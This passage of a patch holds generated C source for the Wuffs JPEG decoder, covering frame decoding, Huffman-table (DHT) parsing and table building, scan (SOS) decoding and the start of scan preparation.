self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func jpeg.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__do_decode_frame( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_pixfmt = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint8_t v_c8 = 0; -+ uint8_t v_marker = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ if (coro_susp_point) { -+ v_marker = self->private_data.s_do_decode_frame.v_marker; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_jpeg__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ v_pixfmt = 536870920u; -+ if (self->private_impl.f_num_components > 1u) { -+ v_pixfmt = 2415954056u; -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -+ wuffs_base__utility__make_pixel_format(v_pixfmt), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ self->private_impl.f_swizzle_immediately = false; -+ if (self->private_impl.f_components_workbuf_offsets[8u] > ((uint64_t)(a_workbuf.len))) { -+ if (self->private_impl.f_sof_marker >= 194u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); -+ goto exit; -+ } -+ self->private_impl.f_swizzle_immediately = self->private_impl.f_use_lower_quality; -+ self->private_impl.f_swizzle_immediately_status = wuffs_base__make_status(NULL); -+ } else if (self->private_impl.f_components_workbuf_offsets[4u] < self->private_impl.f_components_workbuf_offsets[8u]) { -+ wuffs_private_impl__bulk_memset(a_workbuf.ptr + self->private_impl.f_components_workbuf_offsets[4u], (self->private_impl.f_components_workbuf_offsets[8u] - self->private_impl.f_components_workbuf_offsets[4u]), 0u); -+ } -+ if (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_memset(a_workbuf.ptr, self->private_impl.f_components_workbuf_offsets[4u], 128u); -+ } -+ while (true) { -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 == 255u) { -+ break; -+ } -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (v_c8 != 255u) { -+ v_marker = v_c8; -+ break; -+ } -+ } -+ if (v_marker == 0u) { -+ continue; -+ } else if ((208u <= v_marker) && (v_marker <= 217u)) { -+ if (v_marker <= 215u) { -+ continue; -+ } -+ } else { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_frame.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -+ if (num_bits_2 == 8) { -+ t_2 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)); -+ } -+ } -+ self->private_impl.f_payload_length = t_2; -+ } -+ if (self->private_impl.f_payload_length < 2u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= 2u; -+ } -+ if (v_marker < 192u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } else if (v_marker < 208u) { -+ if (v_marker == 196u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ status = wuffs_jpeg__decoder__decode_dht(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else if (v_marker == 200u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } else if (v_marker < 224u) { -+ if (v_marker < 217u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); -+ goto exit; -+ } else if (v_marker == 217u) { -+ break; -+ } else if (v_marker == 218u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ status = wuffs_jpeg__decoder__decode_sos(self, a_dst, a_src, a_workbuf); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else if (v_marker == 219u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else if (v_marker == 221u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_jpeg__decoder__decode_dri(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ continue; -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } -+ } else if (v_marker < 240u) { -+ } else { -+ if (v_marker == 254u) { -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); -+ goto exit; -+ } -+ } -+ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_payload_length; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame.scratch; -+ self->private_impl.f_payload_length = 0u; -+ } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_frame.v_marker = v_marker; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_dht -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_dht( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint8_t v_tc = 0; -+ uint8_t v_th = 0; -+ uint8_t v_tc4_th = 0; -+ uint32_t v_working_total_count = 0; -+ uint32_t v_total_count = 0; -+ uint32_t v_i = 0; -+ bool v_failed = false; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_dht; -+ if (coro_susp_point) { -+ v_tc4_th = self->private_data.s_decode_dht.v_tc4_th; -+ v_total_count = self->private_data.s_decode_dht.v_total_count; -+ v_i = self->private_data.s_decode_dht.v_i; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_sof_marker == 0u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ while (self->private_impl.f_payload_length > 0u) { -+ if (self->private_impl.f_payload_length < 17u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= 17u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ v_tc = ((uint8_t)(v_c8 >> 4u)); -+ v_th = ((uint8_t)(v_c8 & 15u)); -+ v_tc4_th = ((uint8_t)(((uint8_t)(((uint8_t)(v_tc * 4u)) | v_th)))); -+ if ((self->private_impl.f_sof_marker == 192u) && (((uint8_t)(v_tc4_th & 3u)) > 1u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ self->private_data.f_dht_temp_counts[v_i] = t_1; -+ } -+ v_i += 1u; -+ } -+ v_working_total_count = 0u; -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); -+ v_i += 1u; -+ } -+ if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ v_total_count = v_working_total_count; -+ if (self->private_impl.f_payload_length < v_total_count) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= v_total_count; -+ v_i = 0u; -+ while (v_i < v_total_count) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; -+ } -+ v_i += 1u; -+ } -+ while (v_i < 256u) { -+ self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; -+ v_i += 1u; -+ } -+ if (((uint8_t)(v_tc4_th & 4u)) == 0u) { -+ v_i = 0u; -+ while (v_i < v_total_count) { -+ if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ v_i += 1u; -+ } -+ } -+ v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); -+ if (v_failed) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); -+ goto exit; -+ } -+ self->private_impl.f_seen_dht[v_tc4_th] = true; -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_dht = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_dht = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_dht.v_tc4_th = v_tc4_th; -+ self->private_data.s_decode_dht.v_total_count = v_total_count; -+ self->private_data.s_decode_dht.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.calculate_huff_tables -+ -+WUFFS_BASE__GENERATED_C_CODE -+static bool -+wuffs_jpeg__decoder__calculate_huff_tables( -+ wuffs_jpeg__decoder* self, -+ uint8_t a_tc4_th, -+ uint32_t a_total_count) { -+ uint32_t v_i = 0; -+ uint8_t v_j = 0; -+ uint8_t v_k = 0; -+ uint32_t v_bit_length_minus_one = 0; -+ uint8_t v_bit_length = 0; -+ uint32_t v_bit_string = 0; -+ uint32_t v_slow = 0; -+ uint8_t v_prefix = 0; -+ uint16_t v_fast = 0; -+ uint32_t v_reps = 0; -+ -+ v_i = 0u; -+ v_k = 0u; -+ v_bit_length_minus_one = 0u; -+ while (v_i < a_total_count) { -+ while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { -+ v_k = 0u; -+ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_k += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); -+ v_i += 1u; -+ } -+ v_bit_length = 0u; -+ v_bit_string = 0u; -+ v_i = 0u; -+ while (v_i < a_total_count) { -+ while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { -+ if (v_bit_length >= 16u) { -+ return true; -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_bit_length += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_bit_string <<= 1u; -+ } -+ self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); -+ v_bit_string += 1u; -+ if ((v_bit_string >> v_bit_length) > 0u) { -+ return true; -+ } -+ v_i += 1u; -+ } -+ v_k = 0u; -+ v_bit_length_minus_one = 0u; -+ while (true) { -+ if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { -+ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; -+ } else { -+ v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); -+ } -+ v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); -+ if (v_bit_length_minus_one == 0u) { -+ break; -+ } -+ } -+ v_i = 0u; -+ while (v_i < 256u) { -+ self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; -+ v_i += 1u; -+ } -+ v_j = 0u; -+ v_bit_length_minus_one = 0u; -+ while (v_bit_length_minus_one < 8u) { -+ v_k = 0u; -+ while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { -+ v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); -+ v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); -+ v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); -+ while (v_reps > 0u) { -+ self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_prefix += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_reps -= 1u; -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_k += 1u; -+ v_j += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } -+ v_bit_length_minus_one += 1u; -+ } -+ return false; -+} -+ -+// -------- func jpeg.decoder.decode_sos -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_sos( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_my = 0; -+ uint32_t v_mx = 0; -+ uint32_t v_decode_mcu_result = 0; -+ uint32_t v_bitstream_length = 0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_sos; -+ if (coro_susp_point) { -+ v_my = self->private_data.s_decode_sos.v_my; -+ v_mx = self->private_data.s_decode_sos.v_mx; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_scan_count >= 32u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); -+ goto exit; -+ } else if ((self->private_impl.f_scan_count > 0u) && ! self->private_impl.f_expect_multiple_scans) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_scan_count); -+ goto exit; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_jpeg__decoder__prepare_scan(self, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_next_restart_marker = 0u; -+ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; -+ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; -+ self->private_impl.f_eob_run = 0u; -+ self->private_impl.f_bitstream_bits = 0u; -+ self->private_impl.f_bitstream_n_bits = 0u; -+ self->private_impl.f_bitstream_ri = 0u; -+ self->private_impl.f_bitstream_wi = 0u; -+ self->private_impl.f_bitstream_padding = 12345u; -+ wuffs_jpeg__decoder__fill_bitstream(self, a_src); -+ v_my = 0u; -+ while (v_my < self->private_impl.f_scan_height_in_mcus) { -+ v_mx = 0u; -+ while (v_mx < self->private_impl.f_scan_width_in_mcus) { -+ self->private_impl.f_mcu_current_block = 0u; -+ self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); -+ if (self->private_impl.f_sof_marker >= 194u) { -+ wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); -+ } -+ while (true) { -+ v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, -+ a_dst, -+ a_workbuf, -+ v_mx, -+ v_my); -+ if (v_decode_mcu_result == 0u) { -+ break; -+ } else if (v_decode_mcu_result == 1u) { -+ } else if (v_decode_mcu_result == 2u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); -+ goto exit; -+ } else { -+ status = self->private_impl.f_swizzle_immediately_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ while (true) { -+ v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); -+ wuffs_jpeg__decoder__fill_bitstream(self, a_src); -+ if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { -+ break; -+ } else if (self->private_impl.f_bitstream_padding == 0u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { -+ if (self->private_impl.f_bitstream_wi < 1024u) { -+ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); -+ self->private_impl.f_bitstream_wi += 264u; -+ self->private_impl.f_bitstream_is_closed = true; -+ } -+ break; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } -+ } -+ if (self->private_impl.f_sof_marker >= 194u) { -+ wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); -+ } -+ if (self->private_impl.f_restarts_remaining > 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_restarts_remaining -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ if (self->private_impl.f_restarts_remaining == 0u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_mcu_previous_dc_values[0u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[1u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[2u] = 0u; -+ self->private_impl.f_mcu_previous_dc_values[3u] = 0u; -+ self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; -+ self->private_impl.f_eob_run = 0u; -+ self->private_impl.f_bitstream_bits = 0u; -+ self->private_impl.f_bitstream_n_bits = 0u; -+ self->private_impl.f_bitstream_ri = 0u; -+ self->private_impl.f_bitstream_wi = 0u; -+ self->private_impl.f_bitstream_padding = 12345u; -+ } -+ } -+ v_mx += 1u; -+ } -+ v_my += 1u; -+ } -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); -+ -+ ok: -+ self->private_impl.p_decode_sos = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_sos = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_sos.v_my = v_my; -+ self->private_data.s_decode_sos.v_mx = v_mx; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func jpeg.decoder.prepare_scan -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__prepare_scan( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ uint32_t v_j_max_incl = 0; -+ bool v_failed = false; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_prepare_scan; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_prepare_scan.v_i; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if ((v_c8 < 1u) || (v_c8 > 4u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_scan_num_components = ((uint32_t)(v_c8)); -+ if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length = 0u; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_scan_num_components) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ v_j = 0u; -+ while (true) { -+ if (v_j >= self->private_impl.f_num_components) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ if (v_c8 == self->private_impl.f_components_c[v_j]) { -+ if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); -+ goto exit; -+ } -+ self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); -+ break; -+ } -+ v_j += 1u; -+ } -+ v_j = 0u; -+ while (v_j < v_i) { -+ if (self->private_impl.f_scan_comps_cselector[v_i] == 